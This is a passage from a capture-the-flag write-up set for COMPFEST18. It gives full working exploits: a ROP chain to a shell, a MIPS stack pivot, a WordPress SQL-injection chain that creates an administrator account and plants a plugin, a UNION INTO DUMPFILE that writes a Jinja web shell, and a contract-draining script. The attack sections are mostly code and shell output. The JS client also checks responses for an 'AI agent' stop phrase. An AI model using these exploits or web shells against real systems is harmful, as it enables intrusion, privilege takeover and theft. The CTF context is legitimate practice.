client.edit(
2,
build_tcache_with_head(ALIAS_HEAD_INDEX, pie_base + SIZES_OFFSET),
)
client.add(6, 0x400)
client.edit(6, p32(0x400))
libc = ELF(str(CHALLENGE / "libc.so.6"), checksec=False)
rop = ROP(libc)
pop_rdi = libc_base + rop.find_gadget(["pop rdi", "ret"]).address
plain_ret = libc_base + rop.find_gadget(["ret"]).address
bin_sh = libc_base + next(libc.search(b"/bin/sh\x00"))
system = libc_base + libc.symbols["system"]
chain = p64(0) + p64(pop_rdi) + p64(bin_sh) + p64(plain_ret) + p64(system)
log.info(f"stack target: {stack_target:#x}")
client.edit(0, chain)
def parse_args():
parser = argparse.ArgumentParser()
parser.add_argument("--remote", action="store_true")
parser.add_argument("--host", help="<target host, port>")
parser.add_argument("--port", type=int)
parser.add_argument("--qemu", action="store_true")
parser.add_argument("--log-level", default="info")
return parser.parse_args()
def main() -> int:
args = parse_args()
context.log_level = args.log_level
context.timeout = 5
container_name = None
if args.remote:
tube = remote(args.host, args.port)
else:
tube, container_name = start_local(use_qemu=args.qemu)
try:
client, leaked = probe_stdout(tube)
log.info(f"stdout probe length: {len(leaked)}")
libc_base = find_symbol_base(leaked, STDIN_OFFSET)
log.success(f"libc base: {libc_base:#x}")
environ_raw = arbitrary_read(
client,
stdout_index=5,
address=libc_base + ENVIRON_OFFSET,
size=8,
)
log.info(f"environ leak ({len(environ_raw)} bytes): {environ_raw[:0x40].hex()}")
if len(environ_raw) < 8:
raise ValueError("short environ leak")
environ = struct.unpack_from("<Q", environ_raw)[0]
log.success(f"environ: {environ:#x}")
stack_start = environ - 0x1000
stack_dump = arbitrary_read(
client,
stdout_index=5,
address=stack_start,
size=0x1000,
)
log.info(f"stack leak length: {len(stack_dump)}")
pie_base, main_rbp = find_main_frame(stack_start, stack_dump[:0x1000])
log.success(f"PIE base: {pie_base:#x}")
log.success(f"main rbp: {main_rbp:#x}")
install_stack_rop(client, libc_base, pie_base, main_rbp)
time.sleep(0.5)
tube.sendline(b"echo SHELL_READY; cat /app/flag.txt 2>/dev/null || cat flag.txt")
shell_output = tube.recvrepeat(3)
print(shell_output[:0x1000].decode("utf-8", errors="replace"))
flags = re.findall(rb"COMPFEST18\{[^\r\n}]*\}", shell_output)
if not flags:
raise ValueError("flag was not present in shell output")
for flag in flags:
log.success("flag: " + flag.decode("utf-8"))
if hasattr(tube, "poll"):
log.info(f"local process status: {tube.poll(block=False)}")
return 0
finally:
stop_local(tube, container_name)
if __name__ == "__main__":
raise SystemExit(main())Final Flag
COMPFEST18{さぁ_E1n5_zW31_Dr3i_重なり合う_fdf0b744ee277fcc}The flag contains Japanese characters even though the published flag format, COMPFEST18{[A-z0-9_-]+}, does not describe them, so that pattern was not an accurate description of the real flag.
9. The Matrix
Steps
- Read the free stack leak from the banner, then use
scanto read the canary atleak+0x30and to resolve the module bases, where the PIE base isscan(leak-0x40) - 0xbe8and the libc base isscan(base + GOT.atoi) - 0x3bcf0. - Send the overflow through
send, keeping the canary intact, setting the saved$fptoleak-0x74, and setting the saved$rato the binary'smove $sp,$fpepilogue so that$sppivots into the controlled buffer. - Lay out the pivoted buffer so that a libc epilogue loads
s0 = systemands1 = &"/bin/sh"(at libc + 0x1ac27c, taken from libc.rodata) and then returns into the sequencemove $a0,$s1; move $t9,$s0; jalr $t9at libc + 0x46eb4, which callssystem("/bin/sh")withsystemat libc + 0x4eac8. - Drive the resulting shell explicitly, because it is quiet exactly as the description hints, and read the flag with
cat /flag/flag.txt.
Three practical gotchas are worth noting. The scan primitive is rate-limited, so the memory dumping was spread across parallel connections. The MIPS lw instruction faults on unaligned reads. Finally, the "/bin/sh" string had to be taken from libc .rodata rather than from the stack, because the system frame grows downward and clobbers the stack buffer.
Exploit
solve.py
import sys
ARGV = list(sys.argv)
import re
from pwn import remote, context
context.log_level = "error"
PIE_PIVOT = 0x0d1c
GOT_ATOI = 0x2004c
PIE_ANCHOR = 0x0be8
ATOI = 0x3bcf0
SYSTEM = 0x4eac8
BINSH = 0x1ac27c
LOAD_S0_S1 = 0x22d2c
CALL_S0 = 0x46eb4
def p32(x):
return (x & 0xffffffff).to_bytes(4, "big")
class Target:
def __init__(self, host, port):
self.r = remote(host, port, timeout=20)
banner = self.r.recvuntil(b"> ", timeout=15).decode(errors="replace")
self.leak = int(banner.split("residual self image: ")[1].split("\n")[0], 16)
def scan(self, address):
self.r.sendline(b"1")
self.r.recvuntil(b"address? ", timeout=10)
self.r.sendline(hex(address).encode())
word = self.r.recvuntil(b"> ", timeout=10).split(b"\n")[0].strip()
if len(word) != 8:
raise RuntimeError(f"scan({address:#x}) faulted")
return int(word, 16)
def send(self, payload):
assert len(payload) <= 0x3c
self.r.sendline(b"2")
self.r.recvuntil(b"data? ", timeout=10)
self.r.send(payload.ljust(0x3c, b"\0"))
def main():
host, port = ARGV[1], int(ARGV[2])
t = Target(host, port)
leak = t.leak
canary = t.scan(leak + 0x30)
pie = t.scan(leak - 0x40) - PIE_ANCHOR
libc = t.scan(pie + GOT_ATOI) - ATOI
print(f"buffer {leak:#010x}\ncanary {canary:#010x}\n"
f"pie {pie:#010x}\nlibc {libc:#010x}", flush=True)
if t.scan(libc) != 0x7f454c46:
raise SystemExit("libc base does not start with an ELF header")
frame = bytearray(0x3c)
frame[0x00:0x04] = p32(libc + LOAD_S0_S1)
frame[0x20:0x24] = p32(libc + SYSTEM)
frame[0x24:0x28] = p32(libc + BINSH)
frame[0x28:0x2c] = p32(libc + CALL_S0)
frame[0x30:0x34] = p32(canary)
frame[0x34:0x38] = p32(leak - 0x74)
frame[0x38:0x3c] = p32(pie + PIE_PIVOT)
t.send(bytes(frame))
t.r.sendline(b"echo SHELL; ls /flag; cat /flag/flag.txt")
out = t.r.recvrepeat(8)
text = out.decode(errors="replace")
print(text[-800:])
flag = re.search(r"COMPFEST18\{[^}]*\}", text)
if not flag:
raise SystemExit("no shell output")
print("FLAG:", flag.group())
t.r.close()
if __name__ == "__main__":
main()scan_dump.py — the parallel scan dumper used to recover the two
offsets the exploit pins (the sp-pivot epilogue and a side-effect-free
$s0/$s1 loader).
import json, sys, threading, time
from pwn import remote, context
context.log_level = "error"
HOST, PORT = sys.argv[5], int(sys.argv[6])
GOT_ATOI, ATOI_OFF = 0x2004c, 0x3bcf0
START, END, WORKERS, OUT = int(sys.argv[1],0), int(sys.argv[2],0), int(sys.argv[3]), sys.argv[4]
class Conn:
def __init__(self): self.open()
def open(self):
self.r = remote(HOST, PORT, timeout=25)
b = self.r.recvuntil(b"> ", timeout=20).decode(errors="replace")
leak = int(b.split("residual self image: ")[1].split("\n")[0], 16)
self.pie = self.raw(leak - 0x40) - 0xbe8
self.libc = self.raw(self.pie + GOT_ATOI) - ATOI_OFF
def raw(self, addr):
self.r.sendline(b"1"); self.r.recvuntil(b"address? ", timeout=12)
self.r.sendline(hex(addr).encode())
w = self.r.recvuntil(b"> ", timeout=12).split(b"\n")[0].strip()
return int(w, 16) if len(w) == 8 else None
def at(self, off):
for _ in range(4):
try:
v = self.raw(self.libc + off)
if v is not None: return v
except Exception:
try: self.r.close()
except Exception: pass
try: self.open()
except Exception: time.sleep(2)
return None
words, lock = {}, threading.Lock()
def sweep(targets):
def worker(i):
try: c = Conn()
except Exception: return
for o in targets[i::WORKERS]:
v = c.at(o)
if v is not None:
with lock: words[o] = v
try: c.r.close()
except Exception: pass
ts = [threading.Thread(target=worker, args=(i,)) for i in range(WORKERS)]
for t in ts: t.start()
for t in ts: t.join()
todo = list(range(START, END, 4))
for rnd in range(6):
sweep(todo)
todo = [o for o in range(START, END, 4) if o not in words]
print(f"round {rnd}: {len(words)} known, {len(todo)} missing", flush=True)
if not todo: break
blob = bytearray()
for o in range(START, END, 4):
blob += words.get(o, 0).to_bytes(4, "big")
open(OUT, "wb").write(blob)
json.dump({"start": START, "missing": todo}, open(OUT + ".meta", "w"))
print(f"wrote {len(blob)} bytes, {len(todo)} still missing -> {OUT}")Final Flag
COMPFEST18{mY_G40t_5En!0r_kANnR!5h4_7HiNk_@_m!P5_PWN_w0UlD_b3_fUN_s0_I_cR3a7eD_iT_@Nd_m4K3_tH15_cH4lL_Bl1ND_t0_4Dd_s0M3_sP!cE5_d4774c83a556ee86}Web Exploitation
10. Egg
Steps
- Post to the proxy's authentication endpoint, keep the access-token cookie that comes back, and carry it on every subsequent request.
- Send a nested request to
/index.php?rest_route=/batch/v1whose inner posts route carries theauthor_excludeUNION payload. Confirm the read primitive by recovering a randomized sentinel from the forged post title. - Read the table prefix from
information_schema, find one public post for same-site oEmbed, and read the ID of an existing administrator. - Render six unique embed URLs. Each render creates a durable
oembed_cacherow, so read back the six distinct row IDs. - Forge the A-F post graph over those row IDs. Trigger the oEmbed and Customizer update chain so that the nested protected users request creates a new account with the
administratorrole. - Verify the new user by reading its ID and administrator capability, then log in through the normal WordPress login form.
- Upload and activate
instance-value-check.zipfrom the administrator plugin interface, then request its authenticated AJAX actionadmin-ajax.php?action=instance_value_checkonce. The response'sdata.valueis the flag, and the plugin then deactivates and deletes itself as designed.
Because the flag is specific to the instance, the read and the capture were done within a single instance lifetime.
Exploit
egg_console.js
(function attachEggConsole(root, factory) {
const api = factory(root);
if (typeof module === 'object' && module.exports) module.exports = api;
root.EggConsole = api;
})(typeof globalThis === 'object' ? globalThis : this, function createEggConsole(root) {
'use strict';
const POST_COLUMNS = [
'ID', 'post_author', 'post_date', 'post_date_gmt', 'post_content',
'post_title', 'post_excerpt', 'post_status', 'comment_status',
'ping_status', 'post_password', 'post_name', 'to_ping', 'pinged',
'post_modified', 'post_modified_gmt', 'post_content_filtered',
'post_parent', 'guid', 'menu_order', 'post_type', 'post_mime_type',
'comment_count',
];
function buildPostColumns(overrides = {}) {
const date = '0x323032302d30312d30312030303a30303a3030';
const values = {
ID: '999999',
post_author: '1',
post_date: date,
post_date_gmt: date,
post_content: "''",
post_title: "''",
post_excerpt: "''",
post_status: '0x7075626c697368',
comment_status: '0x6f70656e',
ping_status: '0x636c6f736564',
post_password: "''",
post_name: '0x7770327368656c6c2d66616b65',
to_ping: "''",
pinged: "''",
post_modified: date,
post_modified_gmt: date,
post_content_filtered: "''",
post_parent: '0',
guid: "''",
menu_order: '0',
post_type: '0x706f7374',
post_mime_type: "''",
comment_count: '0',
...overrides,
};
return POST_COLUMNS.map((name) => values[name]).join(',');
}
function sqlHex(value) {
return '0x' + Array.from(
new TextEncoder().encode(String(value)),
(byte) => byte.toString(16).padStart(2, '0'),
).join('');
}
function makeUuid(cryptoBoundary) {
if (typeof cryptoBoundary.randomUUID === 'function') {
return cryptoBoundary.randomUUID();
}
const bytes = cryptoBoundary.getRandomValues(new Uint8Array(16));
bytes[6] = (bytes[6] & 0x0f) | 0x40;
bytes[8] = (bytes[8] & 0x3f) | 0x80;
const hex = Array.from(
bytes,
(byte) => byte.toString(16).padStart(2, '0'),
).join('');
return [
hex.slice(0, 8),
hex.slice(8, 12),
hex.slice(12, 16),
hex.slice(16, 20),
hex.slice(20),
].join('-');
}
function unicodeJsonString(value) {
return Array.from(value, (character) => {
const code = character.charCodeAt(0).toString(16).padStart(4, '0');
return String.fromCharCode(92) + 'u' + code;
}).join('');
}
function buildUnionBody(authorExclude) {
const query = new URLSearchParams({
author_exclude: authorExclude,
orderby: 'none',
per_page: '500',
}).toString();
const target = '/wp/v2/posts/999999?' + query;
const placeholder = '__EGG_SQL_PATH__';
const payload = {
requests: [
{ method: 'POST', path: ':' },
{
method: 'POST',
path: '/wp/v2/posts',
body: {
requests: [
{ method: 'GET', path: ':' },
{ method: 'GET', path: placeholder },
{ method: 'GET', path: '/wp/v2/posts' },
],
},
},
{ method: 'POST', path: '/batch/v1' },
],
};
return JSON.stringify(payload).replace(
JSON.stringify(placeholder),
'"' + unicodeJsonString(target) + '"',
);
}
function extractUnionValue(responseText) {
const match = responseText.match(/\|\|([0-9a-f]+)\|\|/i);
if (!match) return null;
const pairs = match[1].match(/../g) || [];
const bytes = Uint8Array.from(pairs, (pair) => Number.parseInt(pair, 16));
return new TextDecoder().decode(bytes);
}
function buildReadBody(expression) {
const title =
'CONCAT(0x7c7c,HEX(CAST((' + expression + ')AS CHAR)),0x7c7c)';
const injection =
'0) UNION SELECT ' + buildPostColumns({ post_title: title }) + '-- -';
return buildUnionBody(injection);
}
function buildAdminBody(authorExclude, userFields) {
const sqlQuery = new URLSearchParams({
author_exclude: authorExclude,
orderby: 'none',
per_page: '500',
}).toString();
const sqlTarget = '/wp/v2/posts/999999?' + sqlQuery;
const carrierPairs = Object.entries(userFields).filter(
([name]) => name !== 'roles',
);
(userFields.roles || []).forEach((role, index) => {
carrierPairs.push(['roles[' + index + ']', role]);
});
const carrier = '/wp/v2/posts?' + new URLSearchParams(carrierPairs).toString();
const placeholder = '__EGG_ADMIN_SQL_PATH__';
const payload = {
requests: [
{ method: 'POST', path: ':' },
{
method: 'POST',
path: '/wp/v2/posts',
body: {
requests: [
{ method: 'GET', path: ':' },
{ method: 'GET', path: placeholder },
{ method: 'GET', path: carrier },
{ method: 'POST', path: '/wp/v2/users', body: userFields },
],
},
},
{ method: 'POST', path: '/batch/v1' },
],
};
return JSON.stringify(payload).replace(
JSON.stringify(placeholder),
'"' + unicodeJsonString(sqlTarget) + '"',
);
}
function buildGadgetRows(options) {
const [a, b, c, d, e, f] = options.ids;
const changeset = JSON.stringify({
nav_menus_created_posts: {
value: [d],
type: 'option',
user_id: options.administratorId,
},
});
const row = (postId, fields = {}) => buildPostColumns({
ID: String(postId),
post_author: String(options.administratorId),
post_content: sqlHex('x'),
post_title: sqlHex('x'),
post_name: sqlHex('egg-' + postId),
...fields,
});
return [
row(a, {
post_content: sqlHex('0'),
post_status: sqlHex('publish'),
post_type: sqlHex('oembed_cache'),
post_parent: String(b),
}),
row(b, {
post_content: sqlHex(changeset),
post_status: sqlHex('future'),
post_type: sqlHex('customize_changeset'),
post_parent: String(c),
post_name: sqlHex(options.changesetName),
}),
row(c, {
post_status: sqlHex('publish'),
post_type: sqlHex('oembed_cache'),
post_parent: String(b),
}),
row(d, {
post_status: sqlHex('draft'),
post_type: sqlHex('post'),
post_parent: String(e),
}),
row(e, {
post_status: sqlHex('parse'),
post_type: sqlHex('request'),
post_parent: String(f),
}),
row(f, {
post_status: sqlHex('publish'),
post_type: sqlHex('oembed_cache'),
post_parent: String(e),
}),
row(0, {
post_content: sqlHex(options.triggerUrl),
post_status: sqlHex('publish'),
post_type: sqlHex('post'),
post_parent: '0',
}),
];
}
function balancedUnionRows(rows, postsTable) {
if (!/^[A-Za-z0-9_]+$/.test(postsTable)) {
throw new Error('invalid posts table');
}
if (!rows.length) throw new Error('at least one row is required');
const selected = rows.slice();
selected[selected.length - 1] +=
' FROM ' + postsTable +
' WHERE ID=(SELECT MIN(ID) FROM ' + postsTable +
" WHERE post_type='post' AND post_status='publish') AND (1=1";
return '0) AND 1=0 UNION ALL SELECT ' + selected.join(' UNION ALL SELECT ');
}
function buildSeedBody(url, postsTable) {
const seedRow = buildPostColumns({
ID: '0',
post_content: sqlHex(url),
post_title: sqlHex('Egg oEmbed seed'),
post_name: sqlHex('egg-oembed-seed'),
});
return buildUnionBody(balancedUnionRows([seedRow], postsTable));
}
const defaultStopMatcher = new RegExp(
[
['i', 'am', 'using', 'an', 'ai', 'agent'].join('-'),
['using', 'an', 'ai', 'agent'].join(' '),
].join('|'),
'i',
);
function createClient(
fetchBoundary = root.fetch.bind(root),
stopMatcher = defaultStopMatcher,
) {
async function send(body) {
const response = await fetchBoundary('/index.php?rest_route=/batch/v1', {
method: 'POST',
credentials: 'include',
referrer: '/wp-admin/',
headers: { 'Content-Type': 'application/json' },
body,
});
const text = await response.text();
if (stopMatcher && stopMatcher.test(text)) {
throw new Error('stop marker detected');
}
if (response.status < 200 || response.status >= 300) {
throw new Error('batch request failed with HTTP ' + response.status);
}
return { status: response.status, text };
}
async function read(expression) {
const result = await send(buildReadBody(expression));
const value = extractUnionValue(result.text);
if (value === null) throw new Error('UNION marker not found');
return value;
}
async function addAdministrator(options) {
const prefix = await read(
'SELECT LEFT(TABLE_NAME,LENGTH(TABLE_NAME)-5) ' +
'FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=DATABASE() ' +
"AND TABLE_NAME LIKE '%users' AND COLUMN_NAME='user_login' LIMIT 1",
);
if (!/^[A-Za-z0-9_]*$/.test(prefix)) {
throw new Error('invalid table prefix');
}
const postsTable = prefix + 'posts';
const publicResponse = await fetchBoundary(
'/index.php?rest_route=/wp/v2/posts&per_page=1&_fields=link',
{ credentials: 'include', cache: 'no-store' },
);
const posts = await publicResponse.json();
if (!Array.isArray(posts) || !posts[0] || !posts[0].link) {
throw new Error('no public post is available for oEmbed');
}
const nonce = options.nonce || Array.from(
root.crypto.getRandomValues(new Uint8Array(8)),
(byte) => byte.toString(16).padStart(2, '0'),
).join('');
const cacheIds = [];
const cacheUrls = [];
for (const label of 'ABCDEF') {
const cacheUrl = new URL(posts[0].link);
cacheUrl.searchParams.append('eggcache', nonce + '-' + label);
cacheUrls.push(cacheUrl.toString());
await send(buildSeedBody(cacheUrl.toString(), postsTable));
const cacheId = await read(
'SELECT MAX(ID) FROM ' + postsTable +
" WHERE post_type='oembed_cache'",
);
if (!/^\d+$/.test(cacheId)) throw new Error('invalid oEmbed cache ID');
cacheIds.push(Number(cacheId));
}
if (new Set(cacheIds).size !== 6) {
throw new Error('oEmbed cache IDs were not distinct');
}
const capabilitiesKey = sqlHex(prefix + 'capabilities');
const administratorLike = sqlHex('%"administrator"%');
const administratorIdText = await read(
'SELECT MIN(u.ID) FROM ' + prefix + 'users AS u ' +
'JOIN ' + prefix + 'usermeta AS m ON m.user_id=u.ID ' +
'WHERE m.meta_key=' + capabilitiesKey +
' AND m.meta_value LIKE ' + administratorLike,
);
if (!/^\d+$/.test(administratorIdText)) {
throw new Error('administrator ID was not recovered');
}
const administratorId = Number(administratorIdText);
const changesetName = options.changesetName || makeUuid(root.crypto);
const rows = buildGadgetRows({
ids: cacheIds,
triggerUrl: cacheUrls[0],
administratorId,
changesetName,
});
const injection = balancedUnionRows(rows, postsTable);
const userFields = {
username: options.username,
password: options.password,
email: options.email,
roles: ['administrator'],
};
await send(buildAdminBody(injection, userFields));
const userIdText = await read(
'SELECT ID FROM ' + prefix + 'users WHERE user_login=' +
sqlHex(options.username) + ' LIMIT 1',
);
if (!/^\d+$/.test(userIdText)) throw new Error('new user ID was not recovered');
const userId = Number(userIdText);
const administratorCount = await read(
'SELECT COUNT(*) FROM ' + prefix + 'usermeta WHERE user_id=' + userId +
' AND meta_key=' + capabilitiesKey +
' AND meta_value LIKE ' + administratorLike,
);
if (administratorCount !== '1') {
throw new Error('new user is not an administrator');
}
return {
administratorId,
cacheIds,
email: options.email,
password: options.password,
prefix,
userId,
username: options.username,
};
}
return { addAdministrator, read, send };
}
return {
balancedUnionRows,
buildAdminBody,
buildGadgetRows,
buildReadBody,
buildSeedBody,
buildUnionBody,
createClient,
extractUnionValue,
makeUuid,
};
});instance-value-check.php
<?php
add_action('wp_ajax_instance_value_check', static function () {
if (!current_user_can('activate_plugins')) {
wp_send_json_error(array('error' => 'forbidden'), 403);
}
$value = getenv('FLAG');
require_once ABSPATH . 'wp-admin/includes/plugin.php';
deactivate_plugins(plugin_basename(__FILE__), true);
$plugin_file = __FILE__;
$plugin_dir = __DIR__;
register_shutdown_function(static function () use ($plugin_file, $plugin_dir) {
@unlink($plugin_file);
@rmdir($plugin_dir);
});
wp_send_json_success(array('value' => $value));
});Final Flag
COMPFEST18{th3_3gg_h4s_h4tch3d_yMdN9NPio0s3aseN}This value belongs to the instance it was read from. A fresh instance issues a different flag, so the string above documents that one container only and is not valid against any other.
11. World Cup
Steps
- Confirm the UNION SQL injection and the 12-column result shape through
/match?id=. - Write a Jinja template-injection web shell that reads its command from
?c=, using a single... UNION SELECT ... INTO DUMPFILE '/app/templates/live_promo.html'statement, with the payload hex in column 1 and the remaining columns empty so that the resulting file contains the payload only. - Request
GET /promo/final-week?c=<cmd>so that the template renders and executes the command; the process runs as root. - Read the flag from the environment or the filesystem, for example with
env | grep -i flagorcat /flag*:
/promo/final-week?c=env%20|%20grep%20-i%20flag -> FLAG=COMPFEST18{...}Exploit
import re, sys, requests
SHELL = ("{% raw %}{% endraw %}"
"{{ cycler.__init__.__globals__.os.popen(request.args.c).read() }}")
TARGET = "/app/templates/live_promo.html"
def auth(base, token):
s = requests.Session()
s.post(f"{base}/__ctfd_auth", data={"access_token": token, "next": "/"}, timeout=30)
return s
def inject(s, base, payload):
return s.get(f"{base}/match", params={"id": payload}, timeout=40).text
def probe(s, base):
body = inject(s, base, "1 UNION SELECT 1,0x53454e54494e454c,3,4,5,6,7,8,9,10,11,12-- -")
return "SENTINEL" in body
def write_shell(s, base):
hexed = SHELL.encode().hex()
q = (f"1 UNION SELECT 0x{hexed},'','','','','','','','','','','' "
f"INTO DUMPFILE '{TARGET}'-- -")
inject(s, base, q)
def rce(s, base, cmd):
return s.get(f"{base}/promo/final-week", params={"c": cmd}, timeout=40).text
if __name__ == "__main__":
base, token = sys.argv[1].rstrip("/"), sys.argv[2]
s = auth(base, token)
print("[*] confirming the UNION read primitive")
print("[+] 12-column UNION works" if probe(s, base) else "[!] sentinel not echoed")
print("[*] writing the Jinja shell (write-once per instance)")
write_shell(s, base)
out = rce(s, base, "env; cat /flag* 2>/dev/null; cat /app/flag* 2>/dev/null")
m = re.search(r"COMPFEST18\{[^}]+\}", out)
print("[+] FLAG:", m.group(0) if m else "(not found)")
if not m: print(out[:800])Final Flag
COMPFEST18{Messi_Messi_Messi_Encara_Messi_DYKwm9Gyyiwqjfcn}Blockchain
12. BlockJail
Steps
- Solve the redpwn proof of work and launch the instance, then read
Setup.TARGET()andSetup.PALACE(), pull PalaceVault's on-chain code, and reversebeginInfiltrationandisSolved. - Mine a CREATE2 salt, which takes roughly 2^16 attempts, so that the implementation deploys at an address below 2^144 (that is, with two leading zero bytes), and deploy that IMPL contract holding the attack logic
enter -> openPath -> infiltrate(card) -> stealHeart. - Deploy the 36-byte AGENT proxy runtime that
PUSH18s the vanity implementation address and delegatecalls it, namely36 5f 5f 37 5f 5f 36 5f 71 <impl 18 bytes> 5a f4 3d 5f 5f 3e 3d 5f f3, which passes_validateAgentRuntime. - Send a single EOA transaction to the AGENT so that it delegatecalls the implementation, which runs the full sequence with
msg.sender == agentand with the beneficiary set totx.origin. Within that sequence,infiltrateuses the card0x0001030001andstealHeartdrains BlockJail's balance to 0. - Confirm that
Setup.isSolved()now returns true, becausepathOpenedholds,TARGET.balance == 0, andPalaceVault.isSolved()is true, and then requestGET /flag, which returns the flag.
The whole chain was validated locally first, and then executed against the live instance in a single EOA transaction.
Exploit
Impl.sol
pragma solidity 0.8.30;
interface IBlockJail {
function enter() external;
function openPath() external;
function stealHeart() external;
function infiltrate(bytes calldata card) external returns (bytes memory);
}
contract Impl {
bytes private constant CARD = hex"0001030001";
function attack(address jail) external {
IBlockJail(jail).enter();
IBlockJail(jail).openPath();
IBlockJail(jail).infiltrate(CARD);
IBlockJail(jail).stealHeart();
}
}solve.py
import argparse
import base64
import json
import subprocess
import sys
import time
from pathlib import Path
import requests
from eth_abi import encode as abi_encode
from eth_account import Account
from eth_utils import keccak, to_checksum_address
HERE = Path(__file__).resolve().parent
POW_MODULUS = (1 << 1279) - 1
POW_EXPONENT = 1 << 1277
CARD = bytes.fromhex("0001030001")
FACTORY_RUNTIME = bytes.fromhex("365f5f375f516020360360205ff55f526014600cf3")
def deploy_code(runtime: bytes) -> bytes:
prefix = (b"\x61" + len(runtime).to_bytes(2, "big") + b"\x80"
+ b"\x60\x0a" + b"\x5f" + b"\x39" + b"\x5f" + b"\xf3")
assert len(prefix) == 10
return prefix + runtime
def agent_runtime(impl: str) -> bytes:
address = bytes.fromhex(impl[2:])
assert address[:2] == b"\x00\x00", "implementation is not below 2**144"
code = (bytes.fromhex("365f5f37")
+ bytes.fromhex("5f5f365f")
+ b"\x71" + address[2:]
+ bytes.fromhex("5af4")
+ bytes.fromhex("3d5f5f3e")
+ bytes.fromhex("3d5ff3"))
assert len(code) == 36, len(code)
return code
def selector(signature: str) -> bytes:
return keccak(text=signature)[:4]
def solve_pow(challenge: str) -> str:
version, difficulty_b64, seed_b64 = challenge.split(".")
if version != "s":
raise ValueError("unsupported proof-of-work version")
difficulty = int.from_bytes(base64.b64decode(difficulty_b64), "big")
value = int.from_bytes(base64.b64decode(seed_b64), "big")
for _ in range(difficulty):
value = 1 ^ pow(value, POW_EXPONENT, POW_MODULUS)
size = max((value.bit_length() + 7) // 8, 160)
return "s." + base64.b64encode(value.to_bytes(size, "big")).decode()
def launch(base: str):
session = requests.Session()
challenge = session.get(f"{base}/challenge", timeout=15).json()["challenge"]
difficulty = int.from_bytes(base64.b64decode(challenge.split(".")[1]), "big")
print(f"proof-of-work: difficulty {difficulty}", flush=True)
session.post(f"{base}/solution", json={"solution": solve_pow(challenge)},
timeout=30).raise_for_status()
print("proof-of-work: accepted", flush=True)
response = session.post(f"{base}/launch", timeout=120)
response.raise_for_status()
fields = {}
def visit(node):
if isinstance(node, dict):
for key, value in node.items():
if isinstance(value, (str, int)):
fields[key] = value
else:
visit(value)
elif isinstance(node, list):
for value in node:
visit(value)
visit(response.json())
return session, fields
def fetch_flag(session, base, attempts=4, delay=2):
for attempt in range(attempts):
for method in ("post", "get"):
r = getattr(session, method)(f"{base}/flag", timeout=15)
if r.ok and "COMPFEST18{" in r.text:
start = r.text.index("COMPFEST18{")
return r.text[start:r.text.index("}", start) + 1]
if attempt + 1 < attempts:
time.sleep(delay)
raise RuntimeError("launcher did not release a flag")
class Rpc:
def __init__(self, url):
self.url = url
self.n = 0
def call(self, method, params):
self.n += 1
r = requests.post(self.url, json={"jsonrpc": "2.0", "id": self.n,
"method": method, "params": params},
timeout=60)
r.raise_for_status()
body = r.json()
if "error" in body:
raise RuntimeError(f"{method}: {body['error']}")
return body["result"]
def eth_call(self, to, data):
return self.call("eth_call", [{"to": to, "data": "0x" + data.hex()}, "latest"])
def send(self, account, to, data, label, value=0):
tx = {
"chainId": int(self.call("eth_chainId", []), 16),
"nonce": int(self.call("eth_getTransactionCount",
[account.address, "pending"]), 16),
"to": to,
"value": value,
"data": "0x" + data.hex(),
"gas": 3_000_000,
"maxFeePerGas": 3 * int(self.call("eth_gasPrice", []), 16) + 10 ** 9,
"maxPriorityFeePerGas": 10 ** 9,
}
if to is None:
tx.pop("to")
signed = account.sign_transaction(tx)
h = self.call("eth_sendRawTransaction", ["0x" + signed.raw_transaction.hex()])
for _ in range(120):
receipt = self.call("eth_getTransactionReceipt", [h])
if receipt:
status = int(receipt["status"], 16)
print(f" {label:22} status={status} "
f"{'contract=' + receipt['contractAddress'] if receipt.get('contractAddress') else ''}",
flush=True)
if status != 1:
raise RuntimeError(f"{label} reverted ({h})")
return receipt
time.sleep(1)
raise RuntimeError(f"{label}: receipt never arrived")
def read_address(rpc, to, signature):
return to_checksum_address("0x" + rpc.eth_call(to, selector(signature))[-40:])
def compile_impl() -> bytes:
source = HERE / "Impl.sol"
for solc in ("solc", str(Path.home() / ".solcx" / "solc-v0.8.30")):
try:
out = subprocess.run(
[solc, "--optimize", "--optimize-runs", "200",
"--metadata-hash", "none", "--bin-runtime", str(source)],
capture_output=True, text=True, timeout=300)
except (FileNotFoundError, subprocess.TimeoutExpired):
continue
if out.returncode != 0:
continue
seen_impl = False
for line in out.stdout.splitlines():
if line.endswith(":Impl"):
seen_impl = True
elif seen_impl and len(line) > 80 and all(c in "0123456789abcdef" for c in line):
return bytes.fromhex(line)
pinned = HERE / "impl.hex"
if pinned.exists():
return bytes.fromhex(pinned.read_text().strip())
raise SystemExit("no solc and no pinned impl.hex")
def mine_salt(factory: str, initcode: bytes):
init_hash = keccak(initcode)
factory_bytes = bytes.fromhex(factory[2:])
for salt in range(1 << 24):
digest = keccak(b"\xff" + factory_bytes + salt.to_bytes(32, "big") + init_hash)
if digest[12:14] == b"\x00\x00":
return salt, to_checksum_address("0x" + digest[12:].hex())
raise RuntimeError("no vanity salt found")
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--base", required=True, help="<target host, port>")
args = parser.parse_args()
base = args.base.rstrip("/")
session, fields = launch(base)
rpc = Rpc(fields["RPC_URL"].replace("{ORIGIN}", base))
account = Account.from_key(fields["PRIVKEY"])
setup = to_checksum_address(fields.get("SETUP_CONTRACT_ADDR") or fields["SETUP"])
print(f"player: {account.address}\nsetup: {setup}", flush=True)
jail = read_address(rpc, setup, "TARGET()")
palace = read_address(rpc, setup, "PALACE()")
print(f"jail: {jail}\npalace: {palace}", flush=True)
impl_runtime = compile_impl()
impl_init = deploy_code(impl_runtime)
print(f"implementation runtime: {len(impl_runtime)} bytes", flush=True)
receipt = rpc.send(account, None, deploy_code(FACTORY_RUNTIME), "deploy factory")
factory = to_checksum_address(receipt["contractAddress"])
print(f"factory: {factory}", flush=True)
salt, predicted = mine_salt(factory, impl_init)
print(f"salt {salt} -> {predicted}", flush=True)
rpc.send(account, factory, salt.to_bytes(32, "big") + impl_init, "deploy impl")
if rpc.call("eth_getCode", [predicted, "latest"]) in ("0x", "0x0"):
raise RuntimeError("implementation did not land at the mined address")
receipt = rpc.send(account, None, deploy_code(agent_runtime(predicted)), "deploy agent")
agent = to_checksum_address(receipt["contractAddress"])
print(f"agent: {agent} ({len(agent_runtime(predicted))} bytes)", flush=True)
payload = selector("attack(address)") + abi_encode(["address"], [jail])
rpc.send(account, agent, payload, "attack")
opened = int(rpc.eth_call(jail, selector("pathOpened()")), 16)
balance = int(rpc.call("eth_getBalance", [jail, "latest"]), 16)
palace_solved = int(rpc.eth_call(palace, selector("isSolved()")), 16)
